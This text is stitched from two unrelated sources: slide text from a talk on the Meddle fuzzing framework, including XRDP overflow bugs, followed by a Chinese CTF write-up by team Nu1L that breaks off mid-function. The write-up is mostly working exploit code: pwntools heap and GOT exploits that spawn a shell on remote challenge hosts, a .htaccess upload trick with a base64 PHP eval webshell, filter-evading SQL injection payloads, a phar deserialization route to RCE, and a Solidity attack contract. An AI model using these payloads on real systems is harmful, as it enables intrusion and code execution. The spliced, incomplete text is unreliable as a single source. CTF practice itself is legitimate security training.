self.ProcessBase.types.pascal( para arguments = self.Engine.ParseArguments(stack_spec, reg_spec, return [arguments.GetFuzzBlockDescriptions(), "RC4 buffer"] Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server XRDP Demo 2 Diagram Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server XRDP Demo 2 Demo 2: https://github.com/glmcdona/meddle/tree/master/examples /example mstsc Fuzz ws2 32.dll::rc4() calls from rdp client during connection Success: Crash of XRDP server Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server Received Data More Complicated def breakpoint_hit(self, event_name, address, context, th): if event_name == "ws2_32.dll::recv": ... self.Engine.AddBreakpoint(self, arguments.returnAddress.ToPtr(), "return") self.buffers[str(th)] = arguments ... elif event_name == "return": ... # Parse the return value and read output buffer ... Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server Vulnerabilities XRDP v0.60 and below vulnerable. Some RCE before authentication: Bu↵er-overflow in xrdp mcs recv connect initial() Out-of-bounds bitmap cache reference xrdp cache add bitmap() Large num events causes information disclosure and DOS conditions Number of channels attack xrdp sec process mcs data channels() Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server Vulnerabilities static int APP_CC xrdp_mcs_recv_connect_initial( struct xrdp_mcs* self) { int len; struct stream* s; init_stream(s, 8192); // Fixed size buffer ... // Overflow. ’len’ controlled, copied to fixed buffer out_uint8a(self->client_mcs_data, s->p, len); } Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion DeviceIoControl Demo DeviceIoControl BOOL WINAPI DeviceIoControl(HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned, lpOverlapped); Communication to kernel-mode Control code to device driver Input and output bu↵er eg. low level disk read/write Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion DeviceIoControl Demo Devices Communication Run Notepad ! Save As ! Network: Number of events being attacked by name: 728 \??\Nsi 64 \??\MountPointManager 20 \Device\LanmanDatagramReceiver 16 \Device\KsecDD 12 \Device\Afd\Endpoint 6 \??\C: 6 \??\NvAdminDevice 4 \??\C:\Users 4 \DEVICE\NETBT_TCPIP_{09AEF42F-B3C7-4854-B4FB-D673B5AD51D5} 4 \??\C:\Users\glmcdona\Documents\Visual Studio 2012\Projects 4 \??\C:\Users\glmcdona\Documents 4 \DEVICE\NETBT_TCPIP_{225A69B0-2055-4DF4-87CB-F3AC50134FE2} 4 \DEVICE\NETBT_TCPIP_{8386C8AD-BABB-4F8E-B85F-3D56FC700D9A} 4 \DEVICE\NETBT_TCPIP_{146BFC43-FB56-4EB3-98D6-E72912BF265E} Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion DeviceIoControl Demo Demo 3 Using Meddle to dump (or attack) DeviceIoControl: https://github.com/glmcdona/meddle/tree/master/examples /example deviceiocontrol ntdll.dll::NtDeviceIoControlFile Device handle to name mapping via create hooks Dealing with more complex argument types Capturing return values/output bu↵ers Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Malware Sandbox Demo Malware Sandbox: Demo 4 Simple sandbox: https://github.com/glmcdona/meddle/tree/master/examples /example sandbox Process forking Traces File read/writes Registry changes Network activity Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Conclusion Thanks for attending! https://github.com/glmcdona/meddle Contributors welcome Testers needed [email protected] Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Bibliography I [1] Immunity, SPIKE, online:http://www.immunitysec.com/resources-freesoftware.shtml [2] CERT, Basic Fuzzing Framework (BBF), online: http://www.cert.org/vulnerability-analysis/tools/b↵.cfm [3] Godefroid, P., Levin, M. Y., Molnar, D. A. (2008, February). Automated Whitebox Fuzz Testing. In NDSS (Vol. 8, pp. 151-166). [4] Gorbunov, S., Rosenbloom, A. (2010). Autofuzz: Automated network protocol fuzzing framework. IJCSNS, 10(8), 239. online:http://autofuzz.sourceforge.net/ [5] David Zimmer, COMRaider, online:https://github.com/dzzie/COMRaider Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Bibliography II [6] eSage Lab, IOCTL Fuzzer, online:https://code.google.com/p/ioctlfuzzer/ [7] Google, Fuzzing at Scale, online:http://googleonlinesecurity.blogspot.ca/2011/08/fuzzing-at- scale.html Geo↵McDonald [email protected], unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development
pdf
5space WriteUp By Nu1L 5space WriteUp By Nu1L Pwn takeeasy easyfp easybuf Reverse ddl re1 Web easyupload easysqli codereview Misc D1fFeReNcE_F@1G Can_you_be_rich Crypto Chaotic babystream 创新⽅向 Love trinewbee Pwn takeeasy ⽩给溢出,直接溢出打 easyfp bye的时候stream可以uaf, 打IO来泄漏然后打free_hook from pwn import * # s = process("./pwn",aslr=False) def cmd(idx):    s.sendlineafter(">> ",str(idx)) def add(name):    cmd(1)    s.sendafter("Name:",name) def say(buf):    cmd(3)    s.sendafter("Say what do you want to say",buf) def free(name):    cmd(2)    s.sendafter("Name:",name) def bye(y):    cmd(4)    s.sendafter('Do you really want to say bye?',y) def pwn(s):    for i in range(7):        bye('n')        say('123')    bye('n')    add(p64(0xfbad3884))    add('1')    add('2')    add('3')    add('4')    add('5')    bye('n')    say('123')    bye('n')    say('123')    bye('n')    add(p16(0x92f0))    add('123')    add('\x00'*0x18+'\xf0')    add('123')    add('234')    free('123')    free('234')    say(p64(0xfbad3884))    bye('n')    say(p64(0xfbad3884))    bye('n')    add(p16(0x9308))    add(p64(0xfbad3884))    add(p64(0xffffffffffffffff)*2) easybuf pbtk可以直接提取出来proto⽂件,转pyc转py。⾥⾯是任意地址读写    add('\x00'*0xb0+p64(0xfbad3884)+p64(0)*3+'\x00')    libc = ELF("./libc.so.6")    libc.address = u64(s.recvuntil("\x7f")[-6:]+"\x00\x00")-0x1ec980    success(hex(libc.address))    add('123')    free('123')    bye('n')    say('123')    bye('n')    add(p64(libc.sym['__free_hook']-8))    add('123')    add('/bin/sh\x00'+p64(libc.sym['system']))    # gdb.attach(s)    free('/bin/sh\x00')    s.interactive()    exit(0) while True:    # s = process("./pwn")    s = remote("47.93.56.17","39642")    try:        pwn(s)    except Exception as e:        pass    s.close() from test_pb2 import Notebook, Note from pwn import * def build(name,addr,offset,choice):    book = Notebook()    note = book.note.add()    note.name = name    note.addr = addr    note.offset = offset    note.choice = choice    payload = book.SerializeToString()    return payload def run(buf):    s.sendlineafter(b"Hello Pls input: ",buf)    s.sendlineafter(b"file size",str(len(buf)).encode()) def read(addr): Reverse ddl exe调dll内的⼀些函数,直接动调看逻辑即可 输⼊先单字节xor 0x66 再前后16字节分别AES-128,key为"0123456789abcdef" 但是直接⽤标准的发现没解开,调试验证发现改了密钥扩展,直接提它程序算出来的176个字节的迭代key_stream 解题脚本:    run(build("Nu1L",addr,0,2)) def write(addr):    run(build("Nu1L",addr,0,1)) s = remote("39.106.134.45","62364") elf = ELF("./pwn") write(elf.got['printf']) libc = ELF("./libc.so.6") libc.address = u64(s.recvuntil(b"\x7f")[-6:]+b"\x00\x00") - libc.sym['printf'] success(hex(libc.address)) environ = libc.sym['__environ'] write(environ) stack = u64(s.recvuntil(b"\x7f")[-6:]+b"\x00\x00")-0x100 success(hex(stack)) pop_rdi = 0x0000000000023b6a + libc.address sh = next(libc.search(b"/bin/sh")) read(stack) payload = p64(pop_rdi+1) + p64(pop_rdi) + p64(sh) + p64(libc.sym['system']) s.send(payload) run("123") s.interactive() //aes.h #ifndef AES_128_H #define AES_128_H #include <stdio.h> #include <stdint.h> #define AES_BLOCK_SIZE     16 #define AES_ROUNDS         10 // 12, 14 #define AES_ROUND_KEY_SIZE 176 // AES-128 has 10 rounds, and there is a AddRoundKey before first round. (10+1)x16=176. /** * @purpose:           Key schedule for AES-128 * @par[in]key:         16 bytes of master keys * @par[out]roundkeys: 176 bytes of round keys */ void aes_key_schedule_128(const uint8_t *key, uint8_t *roundkeys); /** * @purpose:           Encryption. The length of plain and cipher should be one block (16 bytes). *                     The plaintext and ciphertext may point to the same memory * @par[in]roundkeys:   round keys * @par[in]plaintext:   plain text * @par[out]ciphertext: cipher text */ void aes_encrypt_128(const uint8_t *roundkeys, const uint8_t *plaintext, uint8_t *ciphertext); /** * @purpose:           Decryption. The length of plain and cipher should be one block (16 bytes). *                     The ciphertext and plaintext may point to the same memory * @par[in]roundkeys:   round keys * @par[in]ciphertext: cipher text * @par[out]plaintext: plain text */ void aes_decrypt_128(const uint8_t *roundkeys, const uint8_t *ciphertext, uint8_t *plaintext); #endif //aes.c #include <stdio.h> #include "aes.h" int main(int argc, char *argv[]) { uint8_t i, r; uint8_t key[] = { 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102 }; uint8_t ciphertext[AES_BLOCK_SIZE] = {209, 247, 180, 103, 114, 30, 37, 186, 68, 121, 45, 197, 252, 154, 207, 0}; 最后 re1 powerpc64⼩端程序,IDA7.5全decompiler泄露版可反编译 单字节加密 + rot15 其实是多解的⼀个程序,空格和字符'a'加密出来最后的数据⼀样 solve.py uint8_t ciphertext1[AES_BLOCK_SIZE] = {169, 168, 249, 237, 77, 14, 116, 97, 184, 23, 141, 143, 253, 109, 30, 101}; uint8_t dec_data[AES_BLOCK_SIZE]; uint8_t roundkeys[AES_ROUND_KEY_SIZE] = {0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x72, 0x7C, 0x01, 0xC8, 0x46, 0x49, 0x37, 0xFF, 0x7E, 0x70, 0x56, 0x9D, 0x1D, 0x14, 0x33, 0xFB, 0x8A, 0xBF, 0x0E, 0x6C, 0xCC, 0xF6, 0x39, 0x93, 0xB2, 0x86, 0x6F, 0x0E, 0xAF, 0x92, 0x5C, 0xF5, 0xC1, 0xF5, 0xE8, 0x15, 0x0D, 0x03, 0xD1, 0x86, 0xBF, 0x85, 0xBE, 0x88, 0x10, 0x17, 0xE2, 0x7D, 0x39, 0x6D, 0x17, 0xDF, 0x34, 0x6E, 0xC6, 0x59, 0x8B, 0xEB, 0x78, 0xD1, 0x9B, 0xFC, 0x9A, 0xAC, 0x99, 0xD5, 0x86, 0xCB, 0xAD, 0xBB, 0x40, 0x92, 0x26, 0x50, 0x38, 0x43, 0xBD, 0xAC, 0xA2, 0xEF, 0x28, 0xEF, 0x59, 0xB1, 0x85, 0x54, 0x19, 0x23, 0xA3, 0x04, 0x21, 0x60, 0x1E, 0xA8, 0x83, 0x8F, 0xAA, 0x03, 0x2A, 0xC3, 0x2F, 0x57, 0x33, 0xE0, 0x8C, 0x53, 0x12, 0x80, 0x92, 0xFB, 0x91, 0x0F, 0x25, 0x82, 0x5C, 0x8C, 0x0A, 0xD5, 0x6F, 0x6C, 0x86, 0x86, 0x7D, 0xEC, 0x14, 0x7D, 0xEC, 0xE3, 0xEC, 0x4C, 0x4D, 0x76, 0xE6, 0x99, 0x22, 0x1A, 0x60, 0x1F, 0x5F, 0xF6, 0x74, 0x62, 0xB3, 0x15, 0x5D, 0x21, 0x14, 0xE4, 0xBB, 0xB8, 0x36, 0xFE, 0xDB, 0xA7, 0x69, 0x08, 0xAF, 0xC5, 0xDA, 0x1D}; // decryption aes_decrypt_128(roundkeys, ciphertext, dec_data);   printf("Plain text:\n"); for (i = 0; i < AES_BLOCK_SIZE; i++) { printf("%#x, ", dec_data[i]); }   aes_decrypt_128(roundkeys, ciphertext1, dec_data); printf("Plain text:\n"); for (i = 0; i < AES_BLOCK_SIZE; i++) { printf("%#x, ", dec_data[i]); } return 0; } tmp = [0, 0xa, 0x7, 0x1, 0x1d, 0x55, 0x5e, 0x53, 0x5, 0x5e, 0x2, 0x51, 0, 0x5, 0x4, 0x55, 0x54, 0x7, 0x50, 0x4, 0, 0x5f, 0x50, 0x50, 0x57, 0x7, 0x7, 0x7, 0x55, 0x3, 0x55, 0x1b] for i in tmp:   print(chr(i ^ 0x66), end='') Web import string in_case = "123456789 " in_casetalbe = {} for j in range(len(in_case)):   in_casetalbe[in_case[j]] = chr(ord(in_case[j]) + 15) data = "AC/CA/DA/DD/BA/CD/@A/BA/@D/BA/BC/B@/BA/DC/BD/CD/AB/BA/B@/@C/@A/CD/CC/BA/AD/BB/DD/AD/AB /AD/BB/CD/A@/AD/BB/DD/AD/" tmp = "" for i in data:   for key, val in in_casetalbe.items():       if val == i:           tmp += key # print(tmp.split(' ')) cmp = [] for one in tmp.split(' ')[:-1]:   cmp.append(eval(one)) length = len(cmp) # print(cmp) def find_data(arg):   table = "PLHKGDXVYQSAWITNOMJFBUECR"   for i in range(5):       for j in range(5):           if arg == table[5*i+j]:               return 10*(i+1) + j + 1   return 0 flag = "" for i in range(length):   for x in string.ascii_uppercase:       tmp = find_data(x)       if tmp == cmp[i]:           flag += x print(flag.lower()) #最后flag: flag{asklfjaqwrqvqwfdqwrq} easyupload 反序列化双写绕过 找到⽂件 9d7503608bf089e2ffb4fdb7ad1ccd23.php 发现只能传jpg⽂件,后缀不能是php,内容不能带<? 传⼀个.htaccess 再传⼀个base64编码的2.jpg⻢ easysqli index.php?id= 是个注⼊,过滤了空格、information 简单绕⼀下,从mysql.innodb_table_stats查出表名 查flag表 得到提示flag在login.php⾥ 查users表 得到⽤户名密码,loginname=administrator&pwd=oh_you_got_my_password O%3A7%3A%22GethGethintint%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Bi%3A1%3B%7D <FilesMatch "1.jpg"> SetHandler application/x-httpd-php phpvalue auto_prepend_file php://filter/convert.base64-encode/resource=2.jpg </FilesMatch> PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOw== 0'/**/union/**/select/**/1, (select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),'1 gtid_executed,sys_config,atable,flag,users 0'/**/union/**/select/**/1, (select/**/`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/flag/**/limit /**/1,2)a),'1 0'/**/union/**/select/**/1, (select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/users/**/li mit/**/1,3)a),'1 然后到login.php,根据要求修改UA和Accept头,登录后有flag codereview upload⽬录下⾯有⼀个phar.jpg⽂件,检查后发现是本题可以直接利⽤的反序列化链 由于yii使⽤了gii模块,所以⾃带⼀个gii路由 在gii中可以根据模版⽣成代码⽂件,在⽣成Controller时可以添加⼀个viewpath参数,查看代码发现这个viewpath 参数会被传⼊到is_dir中,is_dir可以触发phar的反序列化 把phar.jpg上传到/tmp,在gii⽣成控制器,填写对应字段,viewpath字段设置为 phar:///tmp/phar.jpg ⽣成代码时触发反序列化执⾏,使⽤POST cmd参数RCE Misc public function save() {    $module = isset(Yii::$app->controller) ? Yii::$app->controller->module : null;    if ($this->operation === self::OP_CREATE) {        $dir = dirname($this->path);        if (!is_dir($dir)) {            if ($module instanceof \yii\gii\Module) {                $mask = @umask(0);                $result = @mkdir($dir, $module->newDirMode, true);                @umask($mask);           } else {                $result = @mkdir($dir, 0777, true);           }            if (!$result) {                return "Unable to create the directory '$dir'.";           }       }   }    if (@file_put_contents($this->path, $this->content) === false) {        return "Unable to write the file '{$this->path}'.";   }    if ($module instanceof \yii\gii\Module) {        $mask = @umask(0);        @chmod($this->path, $module->newFileMode);        @umask($mask);   }    return true; } D1fFeReNcE_F@1G 关键: difflib.SequenceMatcher(None,a,b).ratio() ratio(): retio()函数计算序列a和b的相似度,ratio = 2.0*M / T,M为匹配的字符数,T为两个序列的总字符数。相似度的计 算可根据实际情况进⾏修改。结果在[0,1],相同的时候返回1,没有相同⽚段返回0 先⽤单个字符输⼊测试出flag的全部字符: 最后写出解题脚本:⼿⼯试table所有的, 看字符的顺序排名 #!/usr/bin/env python3 # _*_ coding:utf-8 _*_ from pwn import * import string io = remote("39.107.68.209",16829) table = string.printable[:94] all = '' for x in table:   io.recvuntil("Input your guessing flag> ")   send_data = x   io.sendline(send_data)   recvd = io.recvuntil("\n")   # print(recvd)   data = eval(recvd)   if data == 0.9047619047619048:       all += x       print("all is : " + all) # all is : 578adefghjlnpsv{} #!/usr/bin/env python3 # _*_ coding:utf-8 _*_ # 没⾃动化。。⼿⼯试⼀下table所有的,看⼀下字符的顺序排名 from pwn import * import string io = remote("39.107.68.209",16829) table = '578adefghjlnpsv{}' left = [] right = [] for x in table:   io.recvuntil("Input your guessing flag> ")   send_data = "flag{"+"d"+x # 改这个d   io.sendline(send_data)   recvd = io.recvuntil("\n")   # print(recvd)   data = eval(recvd) 得到flag: flag{5lgpsnd8j7vhe} Can_you_be_rich 攻击合约:   if data == 0.5555555555555556:       left.append(x)   elif data == 0.4814814814814815:       right.append(x) print(left) print(right) contract C {   function set() public {       address token = 0x5602489a451dc4E0c8DAdc3F85c0268f721F34B7;       token.call(abi.encodeWithSignature("airdrop(uint256)", 100000000000)); token.call(abi.encodeWithSignature("transfer(address,uint256)",0xb5E8f7e501Ee1384040796 543d420e517ecc21C5,100000000000));   }   function exp() public {       address vulnable = 0x6298325Fbce2A0607860A262d56F6C3475537e48;       vulnable.call(abi.encodeWithSignature("set(address)", address(this)));   } } 完成交互: Crypto Chaotic 搜到原⽂:https://blog.csdn.net/qq_41137110/article/details/116191411 改下路径,秘钥,解密即可 import cv2 import hashlib import numpy as np import matplotlib.pyplot as plt ''' 加密函数 img:原始图像路径 key:密钥列表,⼤⼩为9(1、2为PWLCM初始条件和参数;3、4、5、6为Chen系统初值,7、8、9为Lorenz系统初值) return:返回加密后的图像 ''' def encrypt(img,key):  #读取图⽚  #opencv的颜⾊通道顺序为[B,G,R],⽽matplotlib颜⾊通道顺序为[R,G,B],所以需要调换⼀下通道位置  im=cv2.imread(img)[:,:,(2,1,0)]  #获取图像宽⾼和通道数 [w,h,dim]=im.shape  #⽣成初始条件  a0=key[0]  p0=key[1]  u0=key[2]  v0=key[3]  w0=key[4]  x0=key[5]  y0=key[6]  z0=key[7]  q0=key[8]  #两次置乱操作  #图像扁平化为⼀维,flatten in row-major  pixels = im.flatten(order = 'C')  #第⼀次置乱  #PWLCM迭代3*w*h次,得到迭代序列ai  ai=[]  for i in range(3*w*h):    if 0<=a0<p0:      a0=a0/p0    elif a0<0.5:      a0=(a0-p0)*(0.5-p0)    else:      a0=1-a0    ai.append(a0)  #打包  dic=list(zip(ai,pixels))  #根据ai排序  dic.sort(key=lambda x:x[0])  #得到排序后的像素列表  pixels=list(list(zip(*dic))[1])  #分成R、G、B三个通道  R=pixels[:w*h]  G=pixels[w*h:2*w*h]  B=pixels[2*w*h:]  #第⼆次置乱  #Lorenz⽣成三个序列Y,Z,Q  t=100  f=10  r=28  g=8/3  #调⽤Lorenz模型函数  Y,Z,Q=Lorenz(y0,z0,q0,f,r,g,t+w*h)  #丢弃序列前t个值  Y=Y[t:]  Z=Z[t:]  Q=Q[t:]  #分别在R、G、B三个通道进⾏排序  Y_R=list(zip(Y,R))  #根据序列Y排序  Y_R.sort(key=lambda x:x[0])  #得到排序后的像素列表  R=list(list(zip(*Y_R))[1])  Z_G=list(zip(Z,G))  #根据序列Z排序  Z_G.sort(key=lambda x:x[0])  #得到排序后的像素列表  G=list(list(zip(*Z_G))[1])  Q_B=list(zip(Q,B))  #根据序列Q排序  Q_B.sort(key=lambda x:x[0])  #得到排序后的像素列表  B=list(list(zip(*Q_B))[1])  #得到重新排列后的R、G、B颜⾊分量  #DNA编码  #Hyper Chaos Chen系统控制参数  a=36  b=3  c=28  d=16  k=0.2  t=100  U,V,W,X=Chen(u0,v0,w0,x0,a,b,c,d,k,t+3*w*h)  U=U[t:]  V=V[t:]  W=W[t:]  X=X[t:]  for i in range(3*w*h):    rule='ACGT'    if(int(U[i]%1/0.05) in [0,4,8,10,19]):      #采⽤编码规则AGCT      rule='AGCT'    elif(int(U[i]%1/0.05) in [1,6,12,14,17]):      #编码规则ACGT      rule='ACGT'    elif(int(U[i]%1/0.05) in [2,7,11,13,16]):      rule='GATC'    elif(int(U[i]%1/0.05) in [3,5,9,15,18]):      rule='CATG'    if(i/(w*h)<1):      R[i]=DNA_Encode(R[i],rule)    elif(i/(w*h)<2):      G[i-w*h]=DNA_Encode(G[i-w*h],rule)    else:      B[i-2*w*h]=DNA_Encode(B[i-2*w*h],rule)  start=[]  times=[]  for i in V:    start.append(int(i*pow(10,12))%8)  for i in W:    times.append(int(i*pow(10,12))%8)  startR=start[:w*h]  startG=start[w*h:2*w*h]  startB=start[2*w*h:]  timesR=times[:w*h]  timesG=times[w*h:2*w*h]  timesB=times[2*w*h:]  #⼋种DNA编码规则  rules=['ACGT','CATG','GTAC','TCGA','CTAG','AGCT','TGCA','GATC']  for i in range(w*h):    #起始规则位置    s=startR[i]    for j in range(timesR[i]):      R[i]=DNA_XOR(R[i],rules[s])      s=(s+1)%8  for i in range(w*h):    #起始规则位置    s=startG[i]    for j in range(timesG[i]):      G[i]=DNA_XOR(G[i],rules[s])      s=(s+1)%8  for i in range(w*h):    #起始规则位置    s=startB[i]    for j in range(timesB[i]):      B[i]=DNA_XOR(B[i],rules[s])      s=(s+1)%8  #DNA解码  for i in range(3*w*h):    rule='ACGT'    if(int(X[i]%1/0.05) in [0,4,8,10,19]):      #采⽤解码规则GTAC      rule='GTAC'    elif(int(X[i]%1/0.05) in [1,6,12,14,17]):      #解码规则TGCA      rule='TGCA'    elif(int(X[i]%1/0.05) in [2,7,11,13,16]):      rule='CTAG'    elif(int(X[i]%1/0.05) in [3,5,9,15,18]):      rule='TCGA'    if(i/(w*h)<1):      R[i]=DNA_Decode(R[i],rule)    elif(i/(w*h)<2):      G[i-w*h]=DNA_Decode(G[i-w*h],rule)    else:      B[i-2*w*h]=DNA_Decode(B[i-2*w*h],rule)  #合并R、G、B三个通道得到加密彩⾊图像  encrypt_img=np.array((R+G+B)).reshape((512,512,3),order='C')  return encrypt_img ''' 功能:加密图像解密,加密过程的逆 参数: 输⼊加密图像路径和密钥参数 返回: 返回解密后的图像(ndarray) ''' def decrypt(img,key):  #⽣成初始条件  a0=key[0]  p0=key[1]  u0=key[2]  v0=key[3]  w0=key[4]  x0=key[5]  y0=key[6]  z0=key[7]  q0=key[8]  #读取密⽂图像  # im=cv2.imread(img)[:,:,(2,1,0)]  im=cv2.imread(img)  #获取图像⾼宽和通道数 [h,w,dim]=im.shape  pixels = im.flatten(order = 'C')  #分成R、G、B三个通道  R=list(pixels[:w*h])  G=list(pixels[w*h:2*w*h])  B=list(pixels[2*w*h:])  #Hyper Chaos Chen系统控制参数  a=36  b=3  c=28  d=16  k=0.2  t=100  U,V,W,X=Chen(u0,v0,w0,x0,a,b,c,d,k,t+3*w*h)  U=U[t:]  V=V[t:]  W=W[t:]  X=X[t:]  for i in range(3*w*h):    rule='ACGT'    if(int(X[i]%1/0.05) in [0,4,8,10,19]):      #采⽤解码规则GTAC进⾏逆编码      rule='GTAC'    elif(int(X[i]%1/0.05) in [1,6,12,14,17]):      #解码规则TGCA      rule='TGCA'    elif(int(X[i]%1/0.05) in [2,7,11,13,16]):      rule='CTAG'    elif(int(X[i]%1/0.05) in [3,5,9,15,18]):      rule='TCGA'    if(i/(w*h)<1):      R[i]=DNA_Encode(R[i],rule)    elif(i/(w*h)<2):      G[i-w*h]=DNA_Encode(G[i-w*h],rule)    else:      B[i-2*w*h]=DNA_Encode(B[i-2*w*h],rule)  #逆扩散  start=[]  times=[]  for i in V:    start.append(int(i*pow(10,12))%8)  for i in W:    times.append(int(i*pow(10,12))%8)  startR=start[:w*h]  startG=start[w*h:2*w*h]  startB=start[2*w*h:]  timesR=times[:w*h]  timesG=times[w*h:2*w*h]  timesB=times[2*w*h:]  #⼋种DNA编码规则  rules=['ACGT','CATG','GTAC','TCGA','CTAG','AGCT','TGCA','GATC']  for i in range(w*h):    #起始规则位置    s=(startR[i]+timesR[i]-1)%8    for j in range(timesR[i]):      R[i]=DNA_XOR(R[i],rules[s])      s=(s-1)%8  for i in range(w*h):    #起始规则位置    s=(startG[i]+timesG[i]-1)%8    for j in range(timesG[i]):      G[i]=DNA_XOR(G[i],rules[s])      s=(s-1)%8  for i in range(w*h):    #起始规则位置    s=(startB[i]+timesB[i]-1)%8    for j in range(timesB[i]):      B[i]=DNA_XOR(B[i],rules[s])      s=(s-1)%8  #逆编码  for i in range(3*w*h):    rule='ACGT'    if(int(U[i]%1/0.05) in [0,4,8,10,19]):      #采⽤编码规则AGCT      rule='AGCT'    elif(int(U[i]%1/0.05) in [1,6,12,14,17]):      #编码规则ACGT      rule='ACGT'    elif(int(U[i]%1/0.05) in [2,7,11,13,16]):      rule='GATC'    elif(int(U[i]%1/0.05) in [3,5,9,15,18]):      rule='CATG'    if(i/(w*h)<1):      R[i]=DNA_Decode(R[i],rule)    elif(i/(w*h)<2):      G[i-w*h]=DNA_Decode(G[i-w*h],rule)    else:      B[i-2*w*h]=DNA_Decode(B[i-2*w*h],rule)  #逆第⼆次置乱  #Lorenz⽣成三个序列Y,Z,Q  t=100  f=10  r=28  g=8/3  #调⽤Lorenz模型函数  Y,Z,Q=Lorenz(y0,z0,q0,f,r,g,t+w*h)  #丢弃序列前t个值  Y=Y[t:]  Z=Z[t:]  Q=Q[t:]  #分别在R、G、B三个通道进⾏排序  seq=range(w*h)  Y_seq=list(zip(Y,seq))  #根据序列Y得到R通道真实的序列  Y_seq.sort(key=lambda x:x[0])  #得到真实序列,Y元素为位置索引  Y=list(list(zip(*Y_seq))[1])  Z_seq=list(zip(Z,seq))  Z_seq.sort(key=lambda x:x[0])  Z=list(list(zip(*Z_seq))[1])  Q_seq=list(zip(Q,seq))  Q_seq.sort(key=lambda x:x[0])  Q=list(list(zip(*Q_seq))[1])  Y_R=list(zip(Y,R))  Y_R.sort(key=lambda x:x[0])  R=list(list(zip(*Y_R))[1])  Z_G=list(zip(Z,G))  Z_G.sort(key=lambda x:x[0])  G=list(list(zip(*Z_G))[1])  Q_B=list(zip(Q,B))  Q_B.sort(key=lambda x:x[0])  B=list(list(zip(*Q_B))[1])  pixels=R+G+B  #逆第⼀次置乱  #PWLCM迭代3*w*h次,得到迭代序列ai  ai=[]  for i in range(3*w*h):    if 0<=a0<p0:      a0=a0/p0    elif a0<0.5:      a0=(a0-p0)*(0.5-p0)    else:      a0=1-a0    ai.append(a0)  seq=range(3*w*h)  ai_seq=list(zip(ai,seq))  #根据序列ai得到真实的序列  ai_seq.sort(key=lambda x:x[0])  #得到真实序列,ai元素为位置索引  ai=list(list(zip(*ai_seq))[1])  #打包  dic=list(zip(ai,pixels))  #根据ai排序  dic.sort(key=lambda x:x[0])  #得到排序后的像素列表  pixels=list(list(zip(*dic))[1])  decrypt_img=np.array(pixels).reshape((512,512,3),order='C')  return decrypt_img ''' Lorenz吸引⼦⽣成函数 参数为三个初始坐标,三个初始参数,迭代次数 返回三个⼀维list ''' def Lorenz(x0,y0,z0,p,q,r,T):  #微分迭代步⻓  h=0.01  x=[]  y=[]  z=[]  for t in range(T):    xt=x0+h*p*(y0-x0)    yt=y0+h*(q*x0-y0-x0*z0)    zt=z0+h*(x0*y0-r*z0)    #x0、y0、z0统⼀更新    x0,y0,z0=xt,yt,zt    x.append(x0)    y.append(y0)    z.append(z0)  return x,y,z ''' Chen吸引⼦⽣成函数 参数为四个初始坐标,五个初始参数,迭代次数 返回四个⼀维数组(坐标) ''' def Chen(u0,v0,w0,x0,a,b,c,d,k,T):  h=0.001  u=[]  v=[]  w=[]  x=[]  for t in range(T):    ut=u0+h*(a*(v0-u0))    vt=v0+h*(-u0*w0+d*u0+c*u0-x0)    wt=w0+h*(u0*v0-b*w0)    xt=u0+k    #u0、v0、w0,x0统⼀更新    u0,v0,w0,x0=ut,vt,wt,xt    u.append(u0)    v.append(v0)    w.append(w0)    x.append(x0)  return u,v,w,x #根据原始图像使⽤SHA256⽣成初始条件 def Generate_Key(img,key):  im=cv2.imread(img)[:,:,(2,1,0)]  #获取图像⾼宽和通道数 [h,w,dim]=im.shape  with open(img,'rb') as f:    bytes=f.read()    img_hash=hashlib.sha256(bytes).hexdigest()  m=[]  for i in range(8):    m.append(int(img_hash[i*7:i*7+7],16)/2**34)  d=int(img_hash[-8:],16)/2**38  ck=0  for i in range(len(key)):    ck+=key[i]  #⽣成初始条件  for i in range(8):    key[i]=(key[i]+m[i]+ck)%1  key[8]=(key[8]+d+ck)%1  return key #将像素值按照规则rule编码成DNA碱基返回 def 